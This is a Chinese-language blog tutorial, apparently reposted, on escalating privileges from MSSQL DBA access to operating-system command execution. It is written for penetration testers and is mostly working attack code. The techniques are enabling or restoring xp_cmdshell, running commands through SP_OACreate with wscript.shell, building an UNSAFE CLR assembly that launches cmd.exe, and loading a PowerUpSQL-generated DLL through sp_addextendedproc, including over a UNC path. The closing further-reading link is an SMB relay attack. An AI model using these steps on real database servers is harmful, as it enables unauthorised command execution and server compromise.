Mssql提权

一、xp_cmdshell提权

首先使用sqlmap查看是DBA权限,通过xp_cmdshell来执行命令

默认情况下是关闭的,用下边的命令开启

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

如果xp_cmdshell被删除,可以尝试上传xplog70.dll进行恢复,恢复语句:

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\\xplog70.dll'

二、SP_OACreate

当xp_cmdshell 删除以后,还可以使用SP_OACreate

首先要打开组件:

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

之后使用以下语句执行命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'

这种方式是无回显的,打开1.txt查看命令执行结果

三、SQL Server CLR

Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework

的公共语言运行时 (CLR) 组件集成的功能

CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。

对于 SQL Server 用户和应用程序开发人员来说

CLR 集成意味着您现在可以使用任何 .NET Framework 语言

(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)

编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。

要通过此种方式来执行命令,也有几个前提:

1、在SQL Server上能启用CLR并可以创建自定义存储过程
2、SQL Server当前账号具有执行命令/代码所需要的权限

创建CLR有两种方式: 方式一:使用DLL文件进行创建

CREATE ASSEMBLY AssemblyName from ‘DLLPath’

方式二:使用文件16进制流进行创建

CREATE ASSEMBLY AssemblyName from 文件十六进制流

对于做渗透的我们,当然是没有文件是最好的方式了,因此,本文主要介绍方式二


1、安装Visual Studio和SQL Server数据库,此次测试使用了VS2017跟SQL2012。

2、创建一个新的SQL Server数据库项目

3、设置项目属性,目标平台修改为需要的目标平台,如SQL Server 2012;

将SQLCLR权限级别修改为UNSAFE;修改.Net 框架版本为自己需要的版本;语言选择C#

4、右键项目,选择添加->新建项,新建SQL CLR C# 存储过程

5、填入以下测试代码:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
  [Microsoft.SqlServer.Server.SqlProcedure]
  public static void SqlStoredProcedure1 ()
  {
      // 在此处放置代码
      System.Diagnostics.Process process = new System.Diagnostics.Process();
      process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
      process.StartInfo.FileName = "cmd.exe";
      process.StartInfo.Arguments = "/C whoami > c:\\temp\\1.txt";
      process.Start();
  }
}

6、填入代码以后进行编译,之后到编译目录下可以看到一个dacpac后缀的文件

7、双击此文件进行解压,将解压出一个名为mode.sql的文件。

8、执行SQL文件中的以下语句

CREATE ASSEMBLY [ExecCode]
  AUTHORIZATION [dbo]
   FROM 0x4D5A[...snip...]
  WITH PERMISSION_SET = UNSAFE;

之后执行:

CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]

9、开启数据库服务器配置选项clr enabled

EXEC sp_configure N'show advanced options', N'1' 
RECONFIGURE WITH OVERRIDE

--开启clr enabled 选项
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE

--关闭所有服务器配置选项
EXEC sp_configure N'show advanced options', N'0'
RECONFIGURE WITH OVERRIDE

--如果存在权限问题,执行下面一段脚本
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'

10、执行命令:

EXEC [dbo].[SqlStoredProcedure1];

11、删除存储过程

DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode

四、PowerUpSQL 工具利用

项目地址:https://github.com/NetSPI/PowerUpSQL

SP_Addextendedproc

套件中的Create-SQLFileXpDll方法,创建DLL:

cd PowerUpSQL
. .\PowerUpSQL.ps1
Create-SQLFileXpDll -OutFile D:\temp\exec.dll -Command "echo Exec test > D:\temp\
test.txt" -ExportName xp_test

SQL Server 通过 sp_addextendedproc 调用DLL从而达到命令执行的效果

有两种方式导入:

//via local disk
sp_addextendedproc 'xp_test', 'D:\temp\exec.dll'
//via UNC path:
sp_addextendedproc 'xp_test', '\\servername\pathtofile\exec.dll'

导入之后的可调用xp_test来执行命令:

exec master..xp_test;

通过以下命令可以卸载:

sp_dropextendedproc 'xp_test'

扩展阅读-SMB Relay (SMB中继攻击)

https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/

Refer

MSSQL DBA权限获取WEBSHELL的过程

猜你喜欢

转载自www.cnblogs.com/wintrysec/p/10875232.html
今日推荐